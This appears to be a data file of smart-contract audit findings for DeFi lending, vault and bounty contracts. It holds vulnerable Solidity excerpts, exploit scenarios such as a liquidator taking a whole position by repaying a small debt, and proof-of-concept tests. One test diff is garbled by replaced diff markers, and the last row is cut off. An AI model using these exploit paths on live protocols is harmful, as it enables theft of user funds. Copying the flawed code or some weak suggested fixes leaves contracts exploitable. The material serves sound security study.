WIchiFarm will break after second deposit of LP | medium | WIchiFarm.sol makes the incorrect assumption that IchiVaultLP doesn't reduce allowance when using the transferFrom if allowance is set to type(uint256).max. Looking at a currently deployed IchiVault this assumption is not true. On the second deposit for the LP token, the call will always revert at the safe approve call.\\nIchiVault\\n```\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));\\n return true;\\n }\\n```\\n\\nThe above lines show the trasnferFrom call which reduces the allowance of the spender regardless of whether the spender is approved for type(uint256).max or not.\\n```\\n if (\\n IERC20Upgradeable(lpToken).allowance(\\n address(this),\\n address(ichiFarm)\\n ) != type(uint256).max\\n ) {\\n // We only need to do this once per pool, as LP token's allowance won't decrease if it's -1.\\n IERC20Upgradeable(lpToken).safeApprove(\\n address(ichiFarm),\\n type(uint256).max\\n );\\n }\\n```\\n\\nAs a result after the first deposit the allowance will be less than type(uint256).max. When there is a second deposit, the reduced allowance will trigger a safeApprove call.\\n```\\nfunction safeApprove(\\n IERC20Upgradeable token,\\n address spender,\\n uint256 value\\n) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n require(\\n (value == 0) || (token.allowance(address(this), spender) == 0),\\n "SafeERC20: approve from non-zero to non-zero allowance"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n}\\n```\\n\\nsafeApprove requires that either the input is zero or the current allowance is zero. Since neither is true the call will revert. The result of this is that WIchiFarm is effectively broken after the first deposit. | Only approve is current allowance isn't enough for call. Optionally add zero approval before the approve. Realistically it's impossible to use the entire type(uint256).max, but to cover edge cases you may want to add it.\\n```\\n if (\\n IERC20Upgradeable(lpToken).allowance(\\n address(this),\\n address(ichiFarm)\\n- ) != type(uint256).max\\n+ ) < amount\\n ) {\\n\\n+ IERC20Upgradeable(lpToken).safeApprove(\\n+ address(ichiFarm),\\n+ 0\\n );\\n // We only need to do this once per pool, as LP token's allowance won't decrease if it's -1.\\n IERC20Upgradeable(lpToken).safeApprove(\\n address(ichiFarm),\\n type(uint256).max\\n );\\n }\\n```\\n | WIchiFarm is broken and won't be able to process deposits after the first. | ```\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));\\n return true;\\n }\\n```\\n |
Liquidator can take all collateral and underlying tokens for a fraction of the correct price | high | When performing liquidation calculations, we use the proportion of the individual token's debt they pay off to calculate the proportion of the liquidated user's collateral and underlying tokens to send to them. In the event that the user has multiple types of debt, the liquidator will be dramatically overpaid.\\nWhen a position's risk rating falls below the underlying token's liquidation threshold, the position becomes liquidatable. At this point, anyone can call `liquidate()` and pay back a share of their debt, and receive a propotionate share of their underlying assets.\\nThis is calculated as follows:\\n```\\nuint256 oldShare = pos.debtShareOf[debtToken];\\n(uint256 amountPaid, uint256 share) = repayInternal(\\n positionId,\\n debtToken,\\n amountCall\\n);\\n\\nuint256 liqSize = (pos.collateralSize * share) / oldShare;\\nuint256 uTokenSize = (pos.underlyingAmount * share) / oldShare;\\nuint256 uVaultShare = (pos.underlyingVaultShare * share) / oldShare;\\n\\npos.collateralSize -= liqSize;\\npos.underlyingAmount -= uTokenSize;\\npos.underlyingVaultShare -= uVaultShare;\\n\\n// // rest of codetransfer liqSize wrapped LP Tokens and uVaultShare underlying vault shares to the liquidator\\n}\\n```\\n\\nTo summarize:\\nThe liquidator inputs a debtToken to pay off and an amount to pay\\nWe check the amount of debt shares the position has on that debtToken\\nWe call `repayInternal()`, which pays off the position and returns the amount paid and number of shares paid off\\nWe then calculate the proportion of collateral and underlying tokens to give the liquidator\\nWe adjust the liquidated position's balances, and send the funds to the liquidator\\nThe problem comes in the calculations. The amount paid to the liquidator is calculated as:\\n```\\nuint256 liqSize = (pos.collateralSize * share) / oldShare\\nuint256 uTokenSize = (pos.underlyingAmount * share) / oldShare;\\nuint256 uVaultShare = (pos.underlyingVaultShare * share) / oldShare;\\n```\\n\\nThese calculations are taking the total size of the collateral or underlying token. They are then multiplying it by `share / oldShare`. But `share / oldShare` is just the proportion of that one type of debt that was paid off, not of the user's entire debt pool.\\nLet's walk through a specific scenario of how this might be exploited:\\nUser deposits 1mm DAI (underlying) and uses it to borrow $950k of ETH and $50k worth of ICHI (11.8k ICHI)\\nBoth assets are deposited into the ETH-ICHI pool, yielding the same collateral token\\nBoth prices crash down by 25% so the position is now liquidatable (worth $750k)\\nA liquidator pays back the full ICHI position, and the calculations above yield `pos.collateralSize * 11.8k / 11.8k` (same calculation for the other two formulas)\\nThe result is that for 11.8k ICHI (worth $37.5k after the price crash), the liquidator got all the DAI (value $1mm) and LP tokens (value $750k) | Issue Liquidator can take all collateral and underlying tokens for a fraction of the correct price\\nAdjust these calculations to use `amountPaid / getDebtValue(positionId)`, which is accurately calculate the proportion of the total debt paid off. | If a position with multiple borrows goes into liquidation, the liquidator can pay off the smallest token (guaranteed to be less than half the total value) to take the full position, stealing funds from innocent users. | ```\\nuint256 oldShare = pos.debtShareOf[debtToken];\\n(uint256 amountPaid, uint256 share) = repayInternal(\\n positionId,\\n debtToken,\\n amountCall\\n);\\n\\nuint256 liqSize = (pos.collateralSize * share) / oldShare;\\nuint256 uTokenSize = (pos.underlyingAmount * share) / oldShare;\\nuint256 uVaultShare = (pos.underlyingVaultShare * share) / oldShare;\\n\\npos.collateralSize -= liqSize;\\npos.underlyingAmount -= uTokenSize;\\npos.underlyingVaultShare -= uVaultShare;\\n\\n// // rest of codetransfer liqSize wrapped LP Tokens and uVaultShare underlying vault shares to the liquidator\\n}\\n```\\n |
The maximum size of an `ICHI` vault spell position can be arbitrarily surpassed | medium | The maximum size of an `ICHI` vault spell position can be arbitrarily surpassed by subsequent deposits to a position due to a flaw in the `curPosSize` calculation.\\nIchi vault spell positions are subject to a maximum size limit to prevent large positions, ensuring a wide margin for liquidators and bad debt prevention for the protocol.\\nThe maximum position size is enforced in the `IchiVaultSpell.depositInternal` function and compared to the current position size `curPosSize`.\\nHowever, the `curPosSize` does not reflect the actual position size, but the amount of Ichi vault LP tokens that are currently held in the `IchiVaultSpell` contract (see L153).\\nAssets can be repeatedly deposited into an Ichi vault spell position using the `IchiVaultSpell.openPosition` function (via the `BlueBerryBank.execute` function).\\nOn the very first deposit, the `curPosSize` correctly reflects the position size. However, on subsequent deposits, the previously received Ichi `vault` LP tokens are kept in the `BlueBerryBank` contract. Thus, checking the balance of `vault` tokens in the `IchiVaultSpell` contract only accounts for the current deposit.\\nTest case\\nTo demonstrate this issue, please use the following test case:\\n```\\ndiff --git a/test/spell/ichivault.spell.test.ts b/test/spell/ichivault.spell.test.ts\\nindex 258d653..551a6eb 100644\\n--- a/test/spell/ichivault.spell.test.ts\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/test/spell/ichivault.spell.test.ts\\n@@ -163,6 // Add the line below\\n163,26 @@ describe('ICHI Angel Vaults Spell', () => {\\n afterTreasuryBalance.sub(beforeTreasuryBalance)\\n ).to.be.equal(depositAmount.mul(50).div(10000))\\n })\\n// Add the line below\\n it("should revert when exceeds max pos size due to increasing position", async () => {\\n// Add the line below\\n await ichi.approve(bank.address, ethers.constants.MaxUint256);\\n// Add the line below\\n await bank.execute(\\n// Add the line below\\n 0,\\n// Add the line below\\n spell.address,\\n// Add the line below\\n iface.encodeFunctionData("openPosition", [\\n// Add the line below\\n 0, ICHI, USDC, depositAmount.mul(4), borrowAmount.mul(6) // Borrow 1.800e6 USDC\\n// Add the line below\\n ])\\n// Add the line below\\n );\\n// Add the line below\\n\\n// Add the line below\\n await expect(\\n// Add the line below\\n bank.execute(\\n// Add the line below\\n 0,\\n// Add the line below\\n spell.address,\\n// Add the line below\\n iface.encodeFunctionData("openPosition", [\\n// Add the line below\\n 0, ICHI, USDC, depositAmount.mul(1), borrowAmount.mul(2) // Borrow 300e6 USDC\\n// Add the line below\\n ])\\n// Add the line below\\n )\\n// Add the line below\\n ).to.be.revertedWith("EXCEED_MAX_POS_SIZE"); // 1_800e6 // Add the line below\\n 300e6 = 2_100e6 > 2_000e6 strategy max position size limit\\n// Add the line below\\n })\\n it("should be able to return position risk ratio", async () => {\\n let risk = await bank.getPositionRisk(1);\\n console.log('Prev Position Risk', utils.formatUnits(risk, 2), '%');\\n```\\n\\nRun the test with the following command:\\n```\\nyarn hardhat test --grep "should revert when exceeds max pos size due to increasing position"\\n```\\n\\nThe test case fails and therefore shows that the maximum position size can be exceeded without reverting. | Consider determining the current position size using the `bank.getPositionValue()` function instead of using the current Ichi vault LP token balance. | The maximum position size limit can be exceeded, leading to potential issues with liquidations and bad debt accumulation. | ```\\ndiff --git a/test/spell/ichivault.spell.test.ts b/test/spell/ichivault.spell.test.ts\\nindex 258d653..551a6eb 100644\\n--- a/test/spell/ichivault.spell.test.ts\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/test/spell/ichivault.spell.test.ts\\n@@ -163,6 // Add the line below\\n163,26 @@ describe('ICHI Angel Vaults Spell', () => {\\n afterTreasuryBalance.sub(beforeTreasuryBalance)\\n ).to.be.equal(depositAmount.mul(50).div(10000))\\n })\\n// Add the line below\\n it("should revert when exceeds max pos size due to increasing position", async () => {\\n// Add the line below\\n await ichi.approve(bank.address, ethers.constants.MaxUint256);\\n// Add the line below\\n await bank.execute(\\n// Add the line below\\n 0,\\n// Add the line below\\n spell.address,\\n// Add the line below\\n iface.encodeFunctionData("openPosition", [\\n// Add the line below\\n 0, ICHI, USDC, depositAmount.mul(4), borrowAmount.mul(6) // Borrow 1.800e6 USDC\\n// Add the line below\\n ])\\n// Add the line below\\n );\\n// Add the line below\\n\\n// Add the line below\\n await expect(\\n// Add the line below\\n bank.execute(\\n// Add the line below\\n 0,\\n// Add the line below\\n spell.address,\\n// Add the line below\\n iface.encodeFunctionData("openPosition", [\\n// Add the line below\\n 0, ICHI, USDC, depositAmount.mul(1), borrowAmount.mul(2) // Borrow 300e6 USDC\\n// Add the line below\\n ])\\n// Add the line below\\n )\\n// Add the line below\\n ).to.be.revertedWith("EXCEED_MAX_POS_SIZE"); // 1_800e6 // Add the line below\\n 300e6 = 2_100e6 > 2_000e6 strategy max position size limit\\n// Add the line below\\n })\\n it("should be able to return position risk ratio", async () => {\\n let risk = await bank.getPositionRisk(1);\\n console.log('Prev Position Risk', utils.formatUnits(risk, 2), '%');\\n```\\n |
LP tokens cannot be valued because ICHI cannot be priced by oracle, causing all new open positions to revert | medium | In order to value ICHI LP tokens, the oracle uses the Fair LP Pricing technique, which uses the prices of both individual tokens, along with the quantities, to calculate the LP token value. However, this process requires the underlying token prices to be accessible by the oracle. Both Chainlink and Band do not support the ICHI token, so the function will fail, causing all new positions using the IchiVaultSpell to revert.\\nWhen a new Ichi position is opened, the ICHI LP tokens are posted as collateral. Their value is assessed using the `IchiLpOracle#getPrice()` function:\\n```\\nfunction getPrice(address token) external view override returns (uint256) {\\n IICHIVault vault = IICHIVault(token);\\n uint256 totalSupply = vault.totalSupply();\\n if (totalSupply == 0) return 0;\\n\\n address token0 = vault.token0();\\n address token1 = vault.token1();\\n\\n (uint256 r0, uint256 r1) = vault.getTotalAmounts();\\n uint256 px0 = base.getPrice(address(token0));\\n uint256 px1 = base.getPrice(address(token1));\\n uint256 t0Decimal = IERC20Metadata(token0).decimals();\\n uint256 t1Decimal = IERC20Metadata(token1).decimals();\\n\\n uint256 totalReserve = (r0 * px0) /\\n 10**t0Decimal +\\n (r1 * px1) /\\n 10**t1Decimal;\\n\\n return (totalReserve * 1e18) / totalSupply;\\n}\\n```\\n\\nThis function uses the "Fair LP Pricing" formula, made famous by Alpha Homora. To simplify, this uses an oracle to get the prices of both underlying tokens, and then calculates the LP price based on these values and the reserves.\\nHowever, this process requires that we have a functioning oracle for the underlying tokens. However, Chainlink and Band both do not support the ICHI token (see the links for their comprehensive lists of data feeds). As a result, the call to `base.getPrice(token0)` will fail.\\nAll prices are calculated in the `isLiquidatable()` check at the end of the `execute()` function. As a result, any attempt to open a new ICHI position and post the LP tokens as collateral (which happens in both `openPosition()` and openPositionFarm()) will revert. | There will need to be an alternate form of oracle that can price the ICHI token. The best way to accomplish this is likely to use a TWAP of the price on an AMM. | All new positions opened using the `IchiVaultSpell` will revert when they attempt to look up the LP token price, rendering the protocol useless.\\nThis vulnerability would result in a material loss of funds and the cost of the attack is low (relative to the amount of funds lost). The attack path is possible with reasonable assumptions that mimic on-chain conditions. The vulnerability must be something that is not considered an acceptable risk by a reasonable protocol team.\\nsherlock-admin\\nEscalate for 31 USDC\\nImpact stated is medium, since positions cannot be opened and no funds are at risk. The high severity definition as stated per Sherlock docs:\\nThis vulnerability would result in a material loss of funds and the cost of the attack is low (relative to the amount of funds lost). The attack path is possible with reasonable assumptions that mimic on-chain conditions. The vulnerability must be something that is not considered an acceptable risk by a reasonable protocol team.\\nYou've created a valid escalation for 31 USDC!\\nTo remove the escalation from consideration: Delete your comment. To change the amount you've staked on this escalation: Edit your comment (do not create a new comment).\\nYou may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.\\nhrishibhat\\nEscalation accepted\\nThis is a valid medium Also Given that this is an issue only for the Ichi tokens and impact is only unable to open positions.\\nsherlock-admin\\nEscalation accepted\\nThis is a valid medium Also Given that this is an issue only for the Ichi tokens and impact is only unable to open positions.\\nThis issue's escalations have been accepted!\\nContestants' payouts and scores will be updated according to the changes made on this issue. | ```\\nfunction getPrice(address token) external view override returns (uint256) {\\n IICHIVault vault = IICHIVault(token);\\n uint256 totalSupply = vault.totalSupply();\\n if (totalSupply == 0) return 0;\\n\\n address token0 = vault.token0();\\n address token1 = vault.token1();\\n\\n (uint256 r0, uint256 r1) = vault.getTotalAmounts();\\n uint256 px0 = base.getPrice(address(token0));\\n uint256 px1 = base.getPrice(address(token1));\\n uint256 t0Decimal = IERC20Metadata(token0).decimals();\\n uint256 t1Decimal = IERC20Metadata(token1).decimals();\\n\\n uint256 totalReserve = (r0 * px0) /\\n 10**t0Decimal +\\n (r1 * px1) /\\n 10**t1Decimal;\\n\\n return (totalReserve * 1e18) / totalSupply;\\n}\\n```\\n |
onlyEOAEx modifier that ensures call is from EOA might not hold true in the future | medium | modifier `onlyEOAEx` is used to ensure calls are only made from EOA. However, EIP 3074 suggests that using `onlyEOAEx` modifier to ensure calls are only from EOA might not hold true.\\nFor `onlyEOAEx`, `tx.origin` is used to ensure that the caller is from an EOA and not a smart contract.\\n```\\n modifier onlyEOAEx() {\\n if (!allowContractCalls && !whitelistedContracts[msg.sender]) {\\n if (msg.sender != tx.origin) revert NOT_EOA(msg.sender);\\n }\\n _;\\n }\\n```\\n\\nHowever, according to EIP 3074,\\nThis EIP introduces two EVM instructions AUTH and AUTHCALL. The first sets a context variable authorized based on an ECDSA signature. The second sends a call as the authorized account. This essentially delegates control of the externally owned account (EOA) to a smart contract.\\nTherefore, using tx.origin to ensure msg.sender is an EOA will not hold true in the event EIP 3074 goes through. | ```\\n modifier onlyEOAEx() {\\n if (!allowContractCalls && !whitelistedContracts[msg.sender]) {\\n if (isContract(msg.sender)) revert NOT_EOA(msg.sender);\\n }\\n _;\\n }\\n```\\n | Using modifier `onlyEOAEx` to ensure calls are made only from EOA will not hold true in the event EIP 3074 goes through. | ```\\n modifier onlyEOAEx() {\\n if (!allowContractCalls && !whitelistedContracts[msg.sender]) {\\n if (msg.sender != tx.origin) revert NOT_EOA(msg.sender);\\n }\\n _;\\n }\\n```\\n |
Incorrect shares accounting cause liquidations to fail in some cases | high | Accounting mismatch when marking claimable yield against the vault's shares may cause failing liquidations.\\n`withdraw_underlying_to_claim()` distributes `_amount_shares` worth of underlying tokens (WETH) to token holders. Note that this burns the shares held by the vault, but for accounting purposes, the `total_shares` variable isn't updated.\\nHowever, if a token holder chooses to liquidate his shares, his `shares_owned` are used entirely in both `alchemist.liquidate()` and `withdrawUnderlying()`. Because the contract no longer has fewer shares as a result of the yield distribution, the liquidation will fail.\\nPOC\\nRefer to the `testVaultLiquidationAfterRepayment()` test case below. Note that this requires a fix to be applied for #2 first.\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.18;\\n\\nimport "forge-std/Test.sol";\\nimport "../../lib/utils/VyperDeployer.sol";\\n\\nimport "../IVault.sol";\\nimport "../IAlchemistV2.sol";\\nimport "../MintableERC721.sol";\\nimport "openzeppelin/token/ERC20/IERC20.sol";\\n\\ncontract VaultTest is Test {\\n ///@notice create a new instance of VyperDeployer\\n VyperDeployer vyperDeployer = new VyperDeployer();\\n\\n FairFundingToken nft;\\n IVault vault;\\n address vaultAdd;\\n IAlchemistV2 alchemist = IAlchemistV2(0x062Bf725dC4cDF947aa79Ca2aaCCD4F385b13b5c);\\n IWhitelist whitelist = IWhitelist(0xA3dfCcbad1333DC69997Da28C961FF8B2879e653);\\n address yieldToken = 0xa258C4606Ca8206D8aA700cE2143D7db854D168c;\\n IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\\n // pranking from big WETH holder\\n address admin = 0x2fEb1512183545f48f6b9C5b4EbfCaF49CfCa6F3;\\n address user1 = address(0x123);\\n address user2 = address(0x456);\\n \\n function setUp() public {\\n vm.startPrank(admin);\\n nft = new FairFundingToken();\\n /// @notice: I modified vault to take in admin as a parameter\\n /// because of pranking issues => setting permissions\\n vault = IVault(\\n vyperDeployer.deployContract("Vault", abi.encode(address(nft), admin))\\n );\\n // to avoid having to repeatedly cast to address\\n vaultAdd = address(vault);\\n vault.set_alchemist(address(alchemist));\\n\\n // whitelist vault and users in Alchemist system, otherwise will run into permission issues\\n vm.stopPrank();\\n vm.startPrank(0x9e2b6378ee8ad2A4A95Fe481d63CAba8FB0EBBF9);\\n whitelist.add(vaultAdd);\\n whitelist.add(admin);\\n whitelist.add(user1);\\n whitelist.add(user2);\\n vm.stopPrank();\\n\\n vm.startPrank(admin);\\n\\n // add depositors\\n vault.add_depositor(admin);\\n vault.add_depositor(user1);\\n vault.add_depositor(user2);\\n\\n // check yield token is whitelisted\\n assert(alchemist.isSupportedYieldToken(yieldToken));\\n\\n // mint NFTs to various parties\\n nft.mint(admin, 1);\\n nft.mint(user1, 2);\\n nft.mint(user2, 3);\\n \\n\\n // give max WETH approval to vault & alchemist\\n weth.approve(vaultAdd, type(uint256).max);\\n weth.approve(address(alchemist), type(uint256).max);\\n\\n // send some WETH to user1 & user2\\n weth.transfer(user1, 10e18);\\n weth.transfer(user2, 10e18);\\n\\n // users give WETH approval to vault and alchemist\\n vm.stopPrank();\\n vm.startPrank(user1);\\n weth.approve(vaultAdd, type(uint256).max);\\n weth.approve(address(alchemist), type(uint256).max);\\n vm.stopPrank();\\n vm.startPrank(user2);\\n weth.approve(vaultAdd, type(uint256).max);\\n weth.approve(address(alchemist), type(uint256).max);\\n vm.stopPrank();\\n\\n // by default, msg.sender will be admin\\n vm.startPrank(admin);\\n }\\n\\n function testVaultLiquidationAfterRepayment() public {\\n uint256 depositAmt = 1e18;\\n // admin does a deposit\\n vault.register_deposit(1, depositAmt);\\n vm.stopPrank();\\n\\n // user1 does a deposit too\\n vm.prank(user1);\\n vault.register_deposit(2, depositAmt);\\n\\n // simulate yield: someone does partial manual repayment\\n vm.prank(user2);\\n alchemist.repay(address(weth), 0.1e18, vaultAdd);\\n\\n // mark it as claimable (burn a little bit more shares because of rounding)\\n vault.withdraw_underlying_to_claim(\\n alchemist.convertUnderlyingTokensToShares(yieldToken, 0.01e18) + 100,\\n 0.01e18\\n );\\n\\n vm.stopPrank();\\n\\n // user1 performs liquidation, it's fine\\n vm.prank(user1);\\n vault.liquidate(2, 0);\\n\\n // assert that admin has more shares than what the vault holds\\n (uint256 shares, ) = alchemist.positions(vaultAdd, yieldToken);\\n IVault.Position memory adminPosition = vault.positions(1);\\n assertGt(adminPosition.sharesOwned, shares);\\n\\n vm.prank(admin);\\n // now admin is unable to liquidate because of contract doesn't hold sufficient shares\\n // expect Arithmetic over/underflow error\\n vm.expectRevert(stdError.arithmeticError);\\n vault.liquidate(1, 0);\\n }\\n}\\n```\\n | For the `shares_to_liquidate` and `amount_to_withdraw` variables, check against the vault's current shares and take the minimum of the 2.\\nThe better fix would be to switch from marking yield claims with withdrawing WETH collateral to minting debt (alETH) tokens. | Failing liquidations as the contract attempts to burn more shares than it holds. | ```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.18;\\n\\nimport "forge-std/Test.sol";\\nimport "../../lib/utils/VyperDeployer.sol";\\n\\nimport "../IVault.sol";\\nimport "../IAlchemistV2.sol";\\nimport "../MintableERC721.sol";\\nimport "openzeppelin/token/ERC20/IERC20.sol";\\n\\ncontract VaultTest is Test {\\n ///@notice create a new instance of VyperDeployer\\n VyperDeployer vyperDeployer = new VyperDeployer();\\n\\n FairFundingToken nft;\\n IVault vault;\\n address vaultAdd;\\n IAlchemistV2 alchemist = IAlchemistV2(0x062Bf725dC4cDF947aa79Ca2aaCCD4F385b13b5c);\\n IWhitelist whitelist = IWhitelist(0xA3dfCcbad1333DC69997Da28C961FF8B2879e653);\\n address yieldToken = 0xa258C4606Ca8206D8aA700cE2143D7db854D168c;\\n IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\\n // pranking from big WETH holder\\n address admin = 0x2fEb1512183545f48f6b9C5b4EbfCaF49CfCa6F3;\\n address user1 = address(0x123);\\n address user2 = address(0x456);\\n \\n function setUp() public {\\n vm.startPrank(admin);\\n nft = new FairFundingToken();\\n /// @notice: I modified vault to take in admin as a parameter\\n /// because of pranking issues => setting permissions\\n vault = IVault(\\n vyperDeployer.deployContract("Vault", abi.encode(address(nft), admin))\\n );\\n // to avoid having to repeatedly cast to address\\n vaultAdd = address(vault);\\n vault.set_alchemist(address(alchemist));\\n\\n // whitelist vault and users in Alchemist system, otherwise will run into permission issues\\n vm.stopPrank();\\n vm.startPrank(0x9e2b6378ee8ad2A4A95Fe481d63CAba8FB0EBBF9);\\n whitelist.add(vaultAdd);\\n whitelist.add(admin);\\n whitelist.add(user1);\\n whitelist.add(user2);\\n vm.stopPrank();\\n\\n vm.startPrank(admin);\\n\\n // add depositors\\n vault.add_depositor(admin);\\n vault.add_depositor(user1);\\n vault.add_depositor(user2);\\n\\n // check yield token is whitelisted\\n assert(alchemist.isSupportedYieldToken(yieldToken));\\n\\n // mint NFTs to various parties\\n nft.mint(admin, 1);\\n nft.mint(user1, 2);\\n nft.mint(user2, 3);\\n \\n\\n // give max WETH approval to vault & alchemist\\n weth.approve(vaultAdd, type(uint256).max);\\n weth.approve(address(alchemist), type(uint256).max);\\n\\n // send some WETH to user1 & user2\\n weth.transfer(user1, 10e18);\\n weth.transfer(user2, 10e18);\\n\\n // users give WETH approval to vault and alchemist\\n vm.stopPrank();\\n vm.startPrank(user1);\\n weth.approve(vaultAdd, type(uint256).max);\\n weth.approve(address(alchemist), type(uint256).max);\\n vm.stopPrank();\\n vm.startPrank(user2);\\n weth.approve(vaultAdd, type(uint256).max);\\n weth.approve(address(alchemist), type(uint256).max);\\n vm.stopPrank();\\n\\n // by default, msg.sender will be admin\\n vm.startPrank(admin);\\n }\\n\\n function testVaultLiquidationAfterRepayment() public {\\n uint256 depositAmt = 1e18;\\n // admin does a deposit\\n vault.register_deposit(1, depositAmt);\\n vm.stopPrank();\\n\\n // user1 does a deposit too\\n vm.prank(user1);\\n vault.register_deposit(2, depositAmt);\\n\\n // simulate yield: someone does partial manual repayment\\n vm.prank(user2);\\n alchemist.repay(address(weth), 0.1e18, vaultAdd);\\n\\n // mark it as claimable (burn a little bit more shares because of rounding)\\n vault.withdraw_underlying_to_claim(\\n alchemist.convertUnderlyingTokensToShares(yieldToken, 0.01e18) + 100,\\n 0.01e18\\n );\\n\\n vm.stopPrank();\\n\\n // user1 performs liquidation, it's fine\\n vm.prank(user1);\\n vault.liquidate(2, 0);\\n\\n // assert that admin has more shares than what the vault holds\\n (uint256 shares, ) = alchemist.positions(vaultAdd, yieldToken);\\n IVault.Position memory adminPosition = vault.positions(1);\\n assertGt(adminPosition.sharesOwned, shares);\\n\\n vm.prank(admin);\\n // now admin is unable to liquidate because of contract doesn't hold sufficient shares\\n // expect Arithmetic over/underflow error\\n vm.expectRevert(stdError.arithmeticError);\\n vault.liquidate(1, 0);\\n }\\n}\\n```\\n |
when issuer set new winner by calling setTierWinner() code should reset invoice and supporting documents for that tier | medium | if invoice or supporting documents are required to receive the winning prize then tier winner should provide them. bounty issuer or oracle would set invoice and supporting document status of a tier by calling `setInvoiceComplete()` and `setSupportingDocumentsComplete()`. bounty issuer can set tier winners by calling `setTierWinner()` but code won't reset the status of the invoice and supporting documents when tier winner changes. a malicious winner can bypass invoice and supporting document check by this issue.\\nif bounty issuer set invoice and supporting documents as required for the bounty winners in the tiered bounty, then tier winner should provide those and bounty issuer or off-chain oracle would set the status of the invoice and documents for that tier. but if issuer wants to change a tier winner and calls `setTierWinner()` code would changes the tier winner but won't reset the status of the invoice and supporting documents for the new winner. This is the `setTierWinner()` code in OpenQV1 and TieredBountyCore:\\n```\\n function setTierWinner(\\n string calldata _bountyId,\\n uint256 _tier,\\n string calldata _winner\\n ) external {\\n IBounty bounty = getBounty(_bountyId);\\n require(msg.sender == bounty.issuer(), Errors.CALLER_NOT_ISSUER);\\n bounty.setTierWinner(_winner, _tier);\\n\\n emit TierWinnerSelected(\\n address(bounty),\\n bounty.getTierWinners(),\\n new bytes(0),\\n VERSION_1\\n );\\n }\\n\\n function setTierWinner(string memory _winner, uint256 _tier)\\n external\\n onlyOpenQ\\n {\\n tierWinners[_tier] = _winner;\\n }\\n```\\n\\nAs you can see code only sets the `tierWinner[tier]` and won't reset `invoiceComplete[tier]` or `supportingDocumentsComplete[tier]` to false. This would cause an issue when issuer wants to change the tier winner. these are the steps that makes the issue:\\nUserA creates tiered Bounty1 and set invoice and supporting documents as required for winners to claim their funds.\\nUserA would set User1 as winner of tier 1 and User1 completed the invoice and oracle would set `invoiceComplete[1]` = true.\\nUserA would change tier winner to User2 because User1 didn't complete supporting documents phase. now User2 is winner of tier 1 and `invoiceComplete[1]` is true and User2 only required to complete supporting documents and User2 would receive the win prize without completing the invoice phase. | set status of the `invoiceComplete[tier]` or `supportingDocumentsComplete[tier]` to false in `setTierWinner()` function. | malicious winner can bypass invoice and supporting document check when they are required if he is replace as another person to be winner of a tier. | ```\\n function setTierWinner(\\n string calldata _bountyId,\\n uint256 _tier,\\n string calldata _winner\\n ) external {\\n IBounty bounty = getBounty(_bountyId);\\n require(msg.sender == bounty.issuer(), Errors.CALLER_NOT_ISSUER);\\n bounty.setTierWinner(_winner, _tier);\\n\\n emit TierWinnerSelected(\\n address(bounty),\\n bounty.getTierWinners(),\\n new bytes(0),\\n VERSION_1\\n );\\n }\\n\\n function setTierWinner(string memory _winner, uint256 _tier)\\n external\\n onlyOpenQ\\n {\\n tierWinners[_tier] = _winner;\\n }\\n```\\n |
Resizing the payout schedule with less items might revert | medium | According to some comments in `setPayoutScheduleFixed`, reducing the number of items in the schedule is a supported use case. However in that case, the function will revert because we are iterating over as many items as there was in the previous version of the three arrays making the function revert since the new arrays have less items.\\nLet say they were 4 items in the arrays `tierWinners`, `invoiceComplete` and `supportingDocumentsComplete` and we are resizing the schedule to 3 items. Then the following function would revert because we use the length of the previous arrays instead of the new ones in the for loops.\\n```\\nfunction setPayoutScheduleFixed(\\n uint256[] calldata _payoutSchedule,\\n address _payoutTokenAddress\\n ) external onlyOpenQ {\\n require(\\n bountyType == OpenQDefinitions.TIERED_FIXED,\\n Errors.NOT_A_FIXED_TIERED_BOUNTY\\n );\\n payoutSchedule = _payoutSchedule;\\n payoutTokenAddress = _payoutTokenAddress;\\n\\n // Resize metadata arrays and copy current members to new array\\n // NOTE: If resizing to fewer tiers than previously, the final indexes will be removed\\n string[] memory newTierWinners = new string[](payoutSchedule.length);\\n bool[] memory newInvoiceComplete = new bool[](payoutSchedule.length);\\n bool[] memory newSupportingDocumentsCompleted = new bool[](\\n payoutSchedule.length\\n );\\n\\n for (uint256 i = 0; i < tierWinners.length; i++) { <=====================================================\\n newTierWinners[i] = tierWinners[i];\\n }\\n tierWinners = newTierWinners;\\n\\n for (uint256 i = 0; i < invoiceComplete.length; i++) { <=====================================================\\n newInvoiceComplete[i] = invoiceComplete[i];\\n }\\n invoiceComplete = newInvoiceComplete;\\n\\n for (uint256 i = 0; i < supportingDocumentsComplete.length; i++) { <=====================================================\\n newSupportingDocumentsCompleted[i] = supportingDocumentsComplete[i];\\n }\\n supportingDocumentsComplete = newSupportingDocumentsCompleted;\\n }\\n```\\n\\nThe same issue exists on TieredPercentageBounty too. | ```\\n for (uint256 i = 0; i < newTierWinners.length; i++) {\\n newTierWinners[i] = tierWinners[i];\\n }\\n tierWinners = newTierWinners;\\n\\n for (uint256 i = 0; i < newInvoiceComplete.length; i++) {\\n newInvoiceComplete[i] = invoiceComplete[i];\\n }\\n invoiceComplete = newInvoiceComplete;\\n\\n for (uint256 i = 0; i < newSupportingDocumentsCompleted.length; i++) {\\n newSupportingDocumentsCompleted[i] = supportingDocumentsComplete[i];\\n }\\n supportingDocumentsComplete = newSupportingDocumentsCompleted;\\n```\\n\\nNote this won't work if increasing the number of items compared to previous state must also be supported. In that case you must use the length of the smallest of the two arrays in each for loop. | Unable to resize the payout schedule to less items than the previous state. | ```\\nfunction setPayoutScheduleFixed(\\n uint256[] calldata _payoutSchedule,\\n address 